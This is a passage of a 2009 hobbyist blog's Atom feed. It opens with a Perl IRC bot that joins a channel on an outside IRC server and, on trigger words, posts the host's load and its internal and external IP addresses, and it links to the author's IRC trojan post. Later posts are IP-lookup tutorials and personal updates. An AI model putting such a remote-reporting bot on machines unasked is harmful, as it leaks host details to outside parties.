/&gt;    $irc-&gt;yield( connect =&gt; { } );&lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub irc_001 {&lt;br /&gt;    my $sender = $_[SENDER];&lt;br /&gt;&lt;br /&gt;    # Since this is an irc_* event, we can get the component's object by&lt;br /&gt;    # accessing the heap of the sender. Then we register and connect to the&lt;br /&gt;    # specified server.&lt;br /&gt;    my $irc = $sender-&gt;get_heap();&lt;br /&gt;&lt;br /&gt;    print "Connected to ", $irc-&gt;server_name(), "\n";&lt;br /&gt;&lt;br /&gt;    # we join our channels&lt;br /&gt;   $irc-&gt;yield( join =&gt; $_ ) for @channels;&lt;br /&gt;    $irc-&gt;yield( join =&gt; "$channel $password");&lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub irc_public {&lt;br /&gt;    my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];&lt;br /&gt;    my $nick = ( split /!/, $who )[0];&lt;br /&gt;    my $channel = $where-&gt;[0];&lt;br /&gt;&lt;br /&gt;    if ( my ($loadWord) = $what =~ /^load/ ) {&lt;br /&gt;     my $uptime = `uptime`;&lt;br /&gt;        my $cpuUsagetwo = qr/(load average: \d+\.\d+, \d+\.\d+, \d+\.\d+)/;&lt;br /&gt;        if ($uptime =~ $cpuUsagetwo){&lt;br /&gt;         $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;        if ( my ($ipWord) = $what =~ /^ipadd/ ) {&lt;br /&gt;      my @ifconfig = `ifconfig`;&lt;br /&gt;         my $inetter = qr/(inet addr:\d+\.\d+\.\d+.\d+)/;&lt;br /&gt;         foreach (@ifconfig) {&lt;br /&gt;         my $line = $_;&lt;br /&gt;         if ($line =~ $inetter){&lt;br /&gt;          $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;         }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;        if ( my ($ipWordtwp) = $what =~ /^exadd/ ) {&lt;br /&gt;                  my $whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;&lt;br /&gt;      my $content = get("http://whatismyipaddress.com");&lt;br /&gt;      if($content =~ $whyip){&lt;br /&gt;       $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;     }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# We registered for all events, this will produce some debug info.&lt;br /&gt;sub _default {&lt;br /&gt;    my ($event, $args) = @_[ARG0 .. $#_];&lt;br /&gt;    my @output = ( "$event: " );&lt;br /&gt;&lt;br /&gt;    for my $arg (@$args) {&lt;br /&gt;        if ( ref $arg eq 'ARRAY' ) {&lt;br /&gt;            push( @output, '[' . join(', ', @$arg ) . ']' );&lt;br /&gt;        }&lt;br /&gt;        else {&lt;br /&gt;            push ( @output, "'$arg'" );&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    print join ' ', @output, "\n";&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For Mac use:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;use POE qw(Component::IRC);&lt;br /&gt;use LWP::Simple;&lt;br /&gt;#for mac&lt;br /&gt;my $nickname = 'PoeIrcBot' . $$;&lt;br /&gt;my $ircname = 'Flibble the Sailor Bot';&lt;br /&gt;my $server = 'irc.malvager.com';&lt;br /&gt;my $channel = "#channel";&lt;br /&gt;my $password ="password";&lt;br /&gt;&lt;br /&gt;my @channels = ('');&lt;br /&gt;&lt;br /&gt;# We create a new PoCo-IRC object&lt;br /&gt;my $irc = POE::Component::IRC-&gt;spawn( &lt;br /&gt;   nick =&gt; $nickname,&lt;br /&gt;   ircname =&gt; $ircname,&lt;br /&gt;   server =&gt; $server,&lt;br /&gt;) or die "Oh noooo! $!";&lt;br /&gt;&lt;br /&gt;POE::Session-&gt;create(&lt;br /&gt;    package_states =&gt; [&lt;br /&gt;        main =&gt; [ qw(_default _start irc_001 irc_public) ],&lt;br /&gt;    ],&lt;br /&gt;    heap =&gt; { irc =&gt; $irc },&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;$poe_kernel-&gt;run();&lt;br /&gt;&lt;br /&gt;sub _start {&lt;br /&gt;    my $heap = $_[HEAP];&lt;br /&gt;&lt;br /&gt;    # retrieve our component's object from the heap where we stashed it&lt;br /&gt;    my $irc = $heap-&gt;{irc};&lt;br /&gt;&lt;br /&gt;    $irc-&gt;yield( register =&gt; 'all' );&lt;br /&gt;    $irc-&gt;yield( connect =&gt; { } );&lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub irc_001 {&lt;br /&gt;    my $sender = $_[SENDER];&lt;br /&gt;&lt;br /&gt;    # Since this is an irc_* event, we can get the component's object by&lt;br /&gt;    # accessing the heap of the sender. Then we register and connect to the&lt;br /&gt;    # specified server.&lt;br /&gt;    my $irc = $sender-&gt;get_heap();&lt;br /&gt;&lt;br /&gt;    print "Connected to ", $irc-&gt;server_name(), "\n";&lt;br /&gt;&lt;br /&gt;    # we join our channels&lt;br /&gt;    $irc-&gt;yield( join =&gt; $_ ) for @channels;&lt;br /&gt;    $irc-&gt;yield( join =&gt; "$channel $password");&lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub irc_public {&lt;br /&gt;    my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];&lt;br /&gt;    my $nick = ( split /!/, $who )[0];&lt;br /&gt;    my $channel = $where-&gt;[0];&lt;br /&gt;&lt;br /&gt;    if ( my ($loadWord) = $what =~ /^load/ ) {&lt;br /&gt;     my $uptime = `uptime`;&lt;br /&gt;        my $cpuUsagetwo = qr/(load averages: \d+\.\d+ \d+\.\d+ \d+\.\d+)/;&lt;br /&gt;        if ($uptime =~ $cpuUsagetwo){&lt;br /&gt;         $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;        if ( my ($ipWord) = $what =~ /^ipadd/ ) {&lt;br /&gt;      my @ifconfig = `ifconfig`;&lt;br /&gt;         my $inetter = qr/(inet \d+\.\d+\.\d+.\d+)/;&lt;br /&gt;         foreach (@ifconfig) {&lt;br /&gt;         my $line = $_;&lt;br /&gt;         if ($line =~ $inetter){&lt;br /&gt;          $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;         }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;        if ( my ($ipWordtwp) = $what =~ /^exadd/ ) {&lt;br /&gt;                  my $whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;&lt;br /&gt;      my $content = get("http://whatismyipaddress.com");&lt;br /&gt;      if($content =~ $whyip){&lt;br /&gt;       $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;     }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# We registered for all events, this will produce some debug info.&lt;br /&gt;sub _default {&lt;br /&gt;    my ($event, $args) = @_[ARG0 .. $#_];&lt;br /&gt;    my @output = ( "$event: " );&lt;br /&gt;&lt;br /&gt;    for my $arg (@$args) {&lt;br /&gt;        if ( ref $arg eq 'ARRAY' ) {&lt;br /&gt;            push( @output, '[' . join(', ', @$arg ) . ']' );&lt;br /&gt;        }&lt;br /&gt;        else {&lt;br /&gt;            push ( @output, "'$arg'" );&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    print join ' ', @output, "\n";&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Then to run it just type:perl filename.pl , and that should have you set.&lt;br /&gt;*If you do no use perl filename.pl you will need to put a shebang at the top of the file(i.e #!/usr/bin/perl) with your particular path to perl.&lt;br /&gt;&lt;br /&gt;If you liked this you will probably like:&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/2008/12/perl-bot-trojan-could-be-bot-net-bot.html"&gt;Half finished windows IRC bot trojan/zombie&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/2009/07/perl-tutorial-on-getting-your-external.html"&gt;Getting External IP in Perl&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6520364613743779579?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6520364613743779579/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6520364613743779579' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6520364613743779579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6520364613743779579'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/perl-tutorial-on-setting-up-server.html' title='Perl Tutorial on Setting up a server monitoring bot.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1564582158539245827</id><published>2009-07-08T06:48:00.000-07:00</published><updated>2009-07-08T07:50:53.077-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rollins'/><category scheme='http://www.blogger.com/atom/ns#' term='techno'/><category scheme='http://www.blogger.com/atom/ns#' term='dj fuckhead'/><category scheme='http://www.blogger.com/atom/ns#' term='cheesey music'/><category scheme='http://www.blogger.com/atom/ns#' term='dj'/><category scheme='http://www.blogger.com/atom/ns#' term='mc frontalot'/><title type='text'>Henry Rollins VS. Techno Viking ( Steve Porter Remix )</title><content type='html'>I don't usually like to embed video's that aren't mine or someone I know but I liked this a little to much not to share.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Jf13MmZIcLs&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Jf13MmZIcLs&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1564582158539245827?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1564582158539245827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1564582158539245827' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1564582158539245827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1564582158539245827'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/henry-rollins-vs-techno-viking.html' title='Henry Rollins VS. Techno Viking ( Steve Porter Remix )'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-9108532785112044917</id><published>2009-07-05T15:00:00.000-07:00</published><updated>2009-07-05T15:03:27.418-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='small script'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='regex'/><category scheme='http://www.blogger.com/atom/ns#' term='mac'/><category scheme='http://www.blogger.com/atom/ns#' term='regular expressions'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Perl Tutorial on Getting Internal IP and beginning regex</title><content type='html'>I am working on an tiny project for remote server administration and this was a bit I can show you guys. This is how one would figure out the internal IP's for a computer running Mac or Linux, with perl, with a code explanation for each below:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;For Mac:&lt;br /&gt;#!/opt/local/bin/perl&lt;br /&gt;my @ifconfig = `ifconfig`;&lt;br /&gt;my $inetter = qr/(inet \d+\.\d+\.\d+.\d+)/;&lt;br /&gt;foreach (@ifconfig) {&lt;br /&gt;my $line = $_;&lt;br /&gt;        if ($line =~ $inetter){&lt;br /&gt;                        print $&amp;."\n";&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The first line as alwas is the shebang, it tells the script where the perl interpretter is located, if you don't know, you can run your script by typing perl nameof.pl, rather than ./nameof.pl. The second line says that we want to create an array so that, we can load the output of ifconfig into it. Any time you put backticks it runs that command and returns the output. We use an array because it is multiple lines and we want to loop through it. In the next line we are writting or regular expression statement previos to running it. We are putting it in a scalar and using the quote regex function on our statement. We are looking for the phrase inet then a space then a digit then a period etc.. You may notice a lot of back slashes, it's because you have to escape the periods(otherwise our program won't parse them correctly), and the "\d+" is a replacement for saying a digit. Now we do a foreach loop, which says for each line in our array @ifconfig run what is in the curly brackets. The next line says declare a variable called line, it is assigned $_. $_ is a special variable in perl and means the defualt string, in this case the line from ifconfig we are looking at.Then we say if we found the match(inetter) Then print the matched phrase($&amp;), then join the information that is in quotes "/n" and print that as well. /n by the way is a newline character, meaning a newline will begin. then we close out our brackets.&lt;br /&gt;&lt;br /&gt;For Linux:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;my @ifconfig = `ifconfig`;&lt;br /&gt;my $inetter = qr/(inet addr:\d+\.\d+\.\d+.\d+)/;&lt;br /&gt;foreach (@ifconfig) {&lt;br /&gt;my $line = $_;&lt;br /&gt;        if ($line =~ $inetter){&lt;br /&gt;                        print $&amp;."\n";&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The below paragraph is the same as the one explaining mac with one exception, the regex match expression($inetter) is diffrent because of slight diffrences in the comman ifconfig. Many people do not realize that Mac OS X is based off of a type of unix, BSD in particular(hence the name of the blog).&lt;br /&gt;&lt;br /&gt;The first line as alwas is the shebang, it tells the script where the perl interpretter is located, if you don't know, you can run your script by typing perl nameof.pl, rather than ./nameof.pl. The second line says that we want to create an array so that, we can load the output of ifconfig into it. Any time you put backticks it runs that command and returns the output. We use an array because it is multiple lines and we want to loop through it. In the next line we are writting or regular expression statement previos to running it. We are putting it in a scalar and using the quote regex function on our statement. We are looking for the phrase inet then a space and then addr: and then another space then a digit then a period etc.. You may notice a lot of back slashes, it's because you have to escape the periods(otherwise our program won't parse them correctly), and the "\d+" is a replacement for saying a digit. Now we do a foreach loop, which says for each line in our array @ifconfig run what is in the curly brackets. The next line says declare a variable called line, it is assigned $_. $_ is a special variable in perl and means the defualt string, in this case the line from ifconfig we are looking at.Then we say if we found the match(inetter) Then print the matched phrase($&amp;), then join the information that is in quotes "/n" and print that as well. /n by the way is a newline character, meaning a newline will begin. then we close out our brackets.&lt;br /&gt;&lt;br /&gt;You may also like&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/2009/07/perl-tutorial-on-getting-your-external.html"&gt;How to get your external IP, using LWP and regex&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Or &lt;a href="http://bsdpunk.blogspot.com/2009/03/arp-sniffer-in-perl-killing-wireless.html"&gt;Arp Sniffing Tutorial with perl&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-9108532785112044917?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/9108532785112044917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=9108532785112044917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9108532785112044917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9108532785112044917'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/perl-tutorial-on-getting-internal-ip.html' title='Perl Tutorial on Getting Internal IP and beginning regex'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7703002836345460146</id><published>2009-07-05T14:01:00.000-07:00</published><updated>2009-07-06T08:38:06.625-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='external ip'/><title type='text'>Perl Tutorial On Getting your External IP</title><content type='html'>Sometimes you need to find your external IP via perl, it's not that hard, but the only way I found to do it is kind of round about. You need to grab the page, whatismyipaddress.com then regex through it for your IP. Yeah this sucks, but it beats the hell out of the reception I got on #perl, but that's a diffrent post for a diffrent day. Ok so here are the steps:&lt;br /&gt;On a unix or mac system you need to install lwp::simple first(On a windows system you can probably do this through ppm, just go to the cmd prompt and type ppm). To do that just run cpan:&lt;br /&gt;sudo cpan&lt;br /&gt;Then at the cpan prompt install LWP::Simple:&lt;br /&gt;install LWP::Simple&lt;br /&gt;&lt;br /&gt;Once that is installed, insert this bit of code into your code.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;use LWP::Simple;&lt;br /&gt;$whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;&lt;br /&gt;$content = get("http://whatismyipaddress.com");&lt;br /&gt;if($content =~ $whyip){&lt;br /&gt; print $&amp;;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The first line imports the module.&lt;br /&gt;The Second line declares a variable with the regular expression you are looking for.(Damnit, eneded a sentence with a preposition)&lt;br /&gt;The third line says to "get" the website whatismyipaddress.com.&lt;br /&gt;The third line says, if the regexp we declared in the scond line is matched, then we do the next line.&lt;br /&gt;This line says we print the matched expression.&lt;br /&gt;The Last line closes the if statement.&lt;br /&gt;&lt;br /&gt;This project is a small bit of a larger project I am working on that will eventually be revealed. Oh yeah and if you really want to know about #perl on freenode and why I am dissapointed with it, just head on over to &lt;a href="http://wereboobs.com/?p=8"&gt;wereboobs.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If this was relevant to your interests you may also like my &lt;a href="http://bsdpunk.blogspot.com/2009/03/arp-sniffer-in-perl-killing-wireless.html"&gt;arp sniffing in perl post&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;**CAVEAT, I start my programs by typing:perl filename.pl if you are doing ./filename.pl then you need a path she bang line like:&lt;br /&gt;#!/usr/bin/perl &lt;---for most linux systems #!/opt/local/bin/perl &lt;-----for most mac systems&lt;br /&gt;at the begining of your file&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7703002836345460146?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7703002836345460146/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7703002836345460146' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7703002836345460146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7703002836345460146'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/perl-tutorial-on-getting-your-external.html' title='Perl Tutorial On Getting your External IP'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4686029638813475276</id><published>2009-07-04T18:10:00.001-07:00</published><updated>2009-07-12T17:38:32.858-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='lego'/><category scheme='http://www.blogger.com/atom/ns#' term='land swims'/><category scheme='http://www.blogger.com/atom/ns#' term='robot'/><category scheme='http://www.blogger.com/atom/ns#' term='ruby-nxt'/><category scheme='http://www.blogger.com/atom/ns#' term='microkorg'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='nxt'/><title type='text'>Alpha-Rex, Ruby-nxt fail, out takes of my robot with a microkorg voice</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/cXXDqPYQsxM&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/cXXDqPYQsxM&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;***EDIT Appparently I built him wrong as at LEAST 200 hundred people have let me know END EDIT July 12th 2009***&lt;br /&gt;&lt;br /&gt;Alpha Rex is a horrible design, but only partially my fault. He was designed by lego and is the flagship robot for the nxt design series. I had to improvise a lot of the building because I just didn't have the parts. And yeah I may have lost a lego or two, but not that many honestly for the amount of improvisation involved. On top of that I could tell just by the design that his "legs" were just a hack. He doesn't really walk, in fact much more similar to spike, he "land swims". With the program I wrote for him I pretty much just wanted to get him to walk by alternating the motors. Oh woah is me. Just watch the video to see what ensuses. So just wanting a robot platform to put intelligence into I sit and I wait and I hope, eyes gazing towards the &lt;a href="http://www.aldebaran-robotics.com/eng/index.php"&gt;Nao&lt;/a&gt; robots.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4686029638813475276?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4686029638813475276/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4686029638813475276' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4686029638813475276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4686029638813475276'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/alpha-rex-ruby-nxt-fail-out-takes-of-my.html' title='Alpha-Rex, Ruby-nxt fail, out takes of my robot with a microkorg voice'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7026569011578425674</id><published>2009-07-03T15:28:00.000-07:00</published><updated>2009-07-03T15:56:27.195-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blogger'/><category scheme='http://www.blogger.com/atom/ns#' term='blog'/><category scheme='http://www.blogger.com/atom/ns#' term='mixer'/><category scheme='http://www.blogger.com/atom/ns#' term='contact microphone'/><category scheme='http://www.blogger.com/atom/ns#' term='wereboobs'/><category scheme='http://www.blogger.com/atom/ns#' term='old posts'/><category scheme='http://www.blogger.com/atom/ns#' term='web 1.0'/><category scheme='http://www.blogger.com/atom/ns#' term='refrigerator'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture blog'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Contact Mic Vs Refrigerator, and Updates</title><content type='html'>Contact Mic Vs Refrigerator, and Updates&lt;br /&gt;&lt;br /&gt;&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/bzf12MFF07o&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/bzf12MFF07o&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;So this is really shitty quality but, I used the line in and got better results, I also played with eq and volume nobs on my new &lt;a href="http://www.amazon.com/Behringer-802-8-Input-Mixer/dp/B000J5XS3C/ref=sr_1_3?ie=UTF8&amp;s=musical-instruments&amp;qid=1246660217&amp;sr=8-3"&gt;mixer&lt;/a&gt; and got better results. So milage may very. I wanted to update you guys on a few things:&lt;br /&gt;&lt;br /&gt;New Blog&lt;br /&gt;&lt;b&gt;wereboobs.com&lt;/b&gt;&lt;br /&gt;Is now up, and it will be where I right my more personal entries, I am slowly going to start adding posts from the old were boobs blog, you may or may not remember. I will be posting old posts and working on the theme all weekend. So it will be pretty crazy until then.&lt;br /&gt;&lt;br /&gt;I also wanted to give some shout outs:&lt;br /&gt;Link bee is the devil, it's a linking service like bit.ly but you can make money based on the amount of link's through it, because it opens everything through an iframe and displays ad's. Pretty much ruining someone's surfing experience.&lt;br /&gt;A friend of mine started a &lt;a href="http://trivialprosperity.blogspot.com/"&gt;blog&lt;/a&gt;, his first post being about fixing and taking apart an iMac.&lt;br /&gt;I found this really cool, but somewhat web 1.0 site http://www.firstpr.com.au/ While searching for pedal powered blimps. And recieved excellent customer service from &lt;a href="http://www.goldmine-elec.com/"&gt;Electronics Goldmine&lt;/a&gt; in which I didn't even have to call to get my order corrected(I goofed, not them). I simply sent an email, and they took care of it. I am sure some of you actually want to talk to a person, and I am sure they would handle it just as gracefully if you did, however I just didn't have time and they took care of me, I really appreciate it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7026569011578425674?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7026569011578425674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7026569011578425674' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7026569011578425674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7026569011578425674'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/contact-mic-vs-refrigerator-and-updates.html' title='Contact Mic Vs Refrigerator, and Updates'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3319103085801962714</id><published>2009-06-27T13:00:00.000-07:00</published><updated>2009-06-27T13:03:02.674-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='intarweb party'/><category scheme='http://www.blogger.com/atom/ns#' term='icecast'/><category scheme='http://www.blogger.com/atom/ns#' term='party'/><category scheme='http://www.blogger.com/atom/ns#' term='underground radio'/><title 